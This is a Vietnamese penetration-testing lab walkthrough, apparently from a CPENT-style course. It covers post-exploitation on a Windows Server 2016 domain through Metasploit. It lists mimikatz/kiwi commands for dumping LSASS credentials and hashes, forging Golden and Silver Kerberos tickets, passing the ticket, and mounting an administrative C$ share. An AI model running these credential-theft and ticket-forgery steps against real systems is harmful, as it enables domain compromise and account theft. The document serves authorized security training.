- Chúng ta cũng có thể xem xét cấu hình Wireless LAN của chúng ta. Trong môi trường thực tế của chúng ta, chúng ta không có điều này, nhưng trong
một bài kiểm tra thực tế, bạn có thể nhận được phản hồi. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Chúng ta cũng có thể xem lại các ứng dụng. Nhập run get_application_list. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Như ảnh chụp màn hình ở trên cho thấy, chúng ta có các phiên bản của ứng dụng được cài đặt trên máy khách mà chúng ta có thể sử dụng một phương pháp khai thác khác.
- Mô-đun mimikatz là một bổ sung tuyệt vời cho Metasploit, có thể khôi phục mật khẩu rõ ràng từ dịch vụ LSASS. Chúng ta đã sử dụng trích xuất băm. Nhập load mimikatz, theo sau là kerberos. Kết quả của các lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Vì chúng ta đang sử dụng Windows Server 2016, mật khẩu không thể được lấy, không giống như trong trường hợp Windows 7 và 8.
- Hãy thử lấy Vé Vàng. Nhập kiwi_cmd sekurlsa::ekeys.
- Bốn yếu tố sau đây là cần thiết để lấy dữ liệu cần thiết để sử dụng tùy chọn để tạo Vé Vàng: Tên miền, SID miền, băm NT của tài khoản krbtgt và tài khoản người dùng mà bạn muốn tạo vé.
- Một phương pháp để đạt được điều này là sử dụng whoami /user từ một shell. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong cửa sổ lệnh)
- Điều này không cung cấp thông tin cần thiết. Do đó, chúng ta có thể thử các công cụ được tải xuống từ SysInternals. Nhập psgetsid64.exe -accepteula CPENT.local. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong cửa sổ lệnh)
- Thành công! Như ảnh chụp màn hình cho thấy, công cụ hoạt động. Miễn là chúng ta có thể tải xuống công cụ, chúng ta đã sẵn sàng.
- Chúng ta có thể lấy băm từ việc di chuyển khai thác sang LSASS, theo sau là chạy hashdump và sao chép băm vào trình soạn thảo văn bản để lưu nó. Khi chúng ta có bốn phần dữ liệu, chúng ta chỉ cần gọi hàm để tạo vé. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Bây giờ chúng ta đã có Vé Vàng. Bây giờ chúng ta sẽ thảo luận về ý nghĩa của nó. Chúng ta đã tạo một vé cho một người dùng không tồn tại. Để kiểm tra xem nó có hoạt động không,
- Như bạn có thể thấy trong ảnh chụp màn hình, nó không thành công.
(ảnh chụp màn hình kết quả trong msfconsole)
- Có thể có hai lý do cho điều này. Một là thực tế là có 0 byte trong tệp vé mà chúng ta đã tạo. Lý do khác là chúng ta không có băm của người dùng krbtgt, vì vậy chúng ta cần dump từ Bộ điều khiển Miền. Chúng ta có thể thử lấy shell Metasploit của mình bằng cách tải xuống nó trên bộ điều khiển miền máy chủ Windows 2016 của chúng ta và chạy mã của chúng ta ở đó, nhưng chúng ta hãy xem xét xem điều này có thực tế không. Khả năng chúng ta có thể khiến ai đó trên Bộ điều khiển Miền nhấp vào tệp của chúng ta là bao nhiêu? Trước hết, họ thậm chí không nên ở trên Bộ điều khiển Miền, chứ đừng nói đến việc đọc email hoặc làm những việc khác liên quan đến lừa đảo. Do đó, chúng ta hãy xem xét một số tùy chọn khác trong shell Metasploit của chúng ta.
- Chúng ta sẽ tiếp tục làm việc với Windows Server 2016 vì Windows 7 đã kết thúc vòng đời và Windows 8 cũng không còn xa nữa. Hơn nữa, chúng ta muốn ghi lại những gì hiệu quả và những gì không hiệu quả cho tài liệu của chúng ta, không chỉ cho khách hàng mà còn cho báo cáo của chúng ta cho khách hàng.
- Nhập ? và xem lại các tùy chọn cho các lệnh kiwi. Một ví dụ về kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Bạn nên khám phá các tùy chọn khác nhau này. Chúng ta sẽ tập trung vào kiwi_cmd. Hãy xem liệu chúng ta có thể chạy lệnh mimikatz để lấy vé không. Nhập kiwi_cmd kerberos::list.
(ảnh chụp màn hình kết quả trong msfconsole)
- Nỗ lực gần như thành công. Chúng ta có tài khoản krbtgt, nhưng nó là AES, sẽ không hoạt động đối với chúng ta. Trước khi làm điều này, chúng ta hãy thử một cách tiếp cận khác. Thách thức của chúng ta là kể từ Windows 8, Microsoft đã sửa đổi cách họ lưu trữ dữ liệu; mật khẩu rõ ràng không còn được lưu trữ trong bộ nhớ nữa. Tương tự, Windows 10 và Windows server 2012R2 cung cấp thông tin null trong các trường mật khẩu cho các nhà cung cấp WDigest và Kerberos.
- Do đó, chúng ta có thể thử mimikatz để trích xuất băm. Một ví dụ về truy vấn trực tiếp đến LSASS bằng mimikatz trên Windows 10 được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong cửa sổ lệnh)
- Vì điều này không mang lại kết quả mong muốn, chúng ta sẽ thử xóa vé và tạo một vé khác. Nhập kiwi_cmd kerberos::purge. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Như ảnh chụp màn hình ở trên cho thấy, việc xóa đã thành công, vì vậy chúng ta có thể tiếp tục. Lưu ý rằng tại thời điểm viết bài thực hành này, Microsoft có một tính năng bảo vệ khác. Bạn chỉ có 20 phút trước khi vé này hết hạn trong hầu hết các trường hợp, vì vậy hãy lưu ý rằng điều này cũng có thể thay đổi trong tương lai. Điều này một lần nữa nhấn mạnh nhu cầu nghiên cứu liên tục.
- Khi nó tải, hãy nhập chuỗi được hiển thị trong ảnh chụp màn hình sau, thay đổi miền thành LPT.com cho bài thực hành này.
(ảnh chụp màn hình kết quả trong msfconsole)
- Như bạn có thể thấy, điều này đã thành công. Do đó, với Windows Server 2016, công cụ mimikatz hoạt động tốt hơn so với việc cố gắng thực hiện với các tiện ích mở rộng kiwi, ít nhất là tại thời điểm viết bài thực hành này.
- Bây giờ chúng ta cần thay thế vé bằng vé mà chúng ta đã tạo. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Như bạn có thể thấy, điều này đã thành công. Lưu ý rằng chúng ta có định dạng RC4. ptt có nghĩa là chúng ta đã chuyển vé.
- Tiếp theo, để kiểm tra xem nó có hoạt động không, hãy nhập kerberos::tgt.
(ảnh chụp màn hình kết quả trong msfconsole)
- Bây giờ chúng ta đã đặt khóa. Bây giờ chúng ta có thể mount chia sẻ bằng cách nhập như sau:
net use j: \\server-one.LPT.local\c$
Use code with caution.
- Hãy nhớ rằng bạn sẽ sử dụng miền LPT.com. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong cửa sổ lệnh)
- Lệnh thành công nhưng nó có thể nhắc bạn nhập thông tin đăng nhập. Do đó, các thách thức vẫn tiếp tục, nhưng vì băm của các tài khoản có sẵn nên vẫn có thể thực hiện cuộc tấn công. Cũng xin lưu ý rằng nếu đã quá 20 phút, bạn cũng sẽ phải cung cấp thông tin đăng nhập. Chúng ta có thể đã thực hiện các lệnh tương tự trong shell từ máy bị xâm nhập và bên trong Parrot, nhưng chúng ta sẽ để dành điều đó cho bạn thử nghiệm. Như đã đề cập trước đó, trong suốt quá trình này, có rất nhiều người ở cả phía tấn công và phòng thủ đang cố gắng tìm cách vượt qua hoặc ngăn chặn điều này.
- Vé Bạc không khó như Vé Vàng. Chúng ta cũng có thể dump thêm dữ liệu, trong máy Parrot và shell Metasploit đang chạy mimikatz, chúng ta có thể nhập sekurlsa::logonpasswords.
(ảnh chụp màn hình kết quả trong msfconsole)
- Như ảnh chụp màn hình ở trên cho thấy, chúng ta cũng đã dump mật khẩu quản trị viên đơn giản của mình.
- Từ đây, xác định một dịch vụ, sau đó chuyển vé cho dịch vụ đó. Sau đó, thử kết nối từ xa; tất cả điều này, tuy nhiên, phụ thuộc vào những gì quản trị viên đã cấu hình trên máy.
- Để tạo Vé Bạc trên máy bằng mimikatz, hãy nhớ thay thế LPT.com làm miền.
(ảnh chụp màn hình kết quả trong msfconsole)
- Chúng ta muốn tạo một vé khác bằng cách sử dụng dịch vụ WSMan. Nhập lệnh sau khi thay đổi miền như trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Cả hai Vé Bạc hiện đã được tạo. Bây giờ chúng ta có thể truy cập shell, miễn là quản trị viên đã thiết lập PowerShell Remoting hoặc WinRM và chúng ta sẽ làm điều này như một phần của thử nghiệm của mình. Lệnh để làm điều đó được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong PowerShell)
- Như ảnh chụp màn hình cho thấy, Bộ điều khiển Miền của chúng ta không được cấu hình để cho phép điều này. Hầu hết các Bộ điều khiển Miền sẽ được cấu hình tương tự, vì vậy chúng ta có toàn bộ Phụ lục về kịch bản PowerShell. Có lẽ bạn có thể tìm thấy thứ gì đó sẽ hoạt động ở đó, hoặc bạn có thể tìm thấy một máy khác cho phép PowerShell Remoting hoặc là một hệ điều hành cũ hơn.
- Mục tiêu bài thực hành đã đạt được.





Bình luận về bài viết này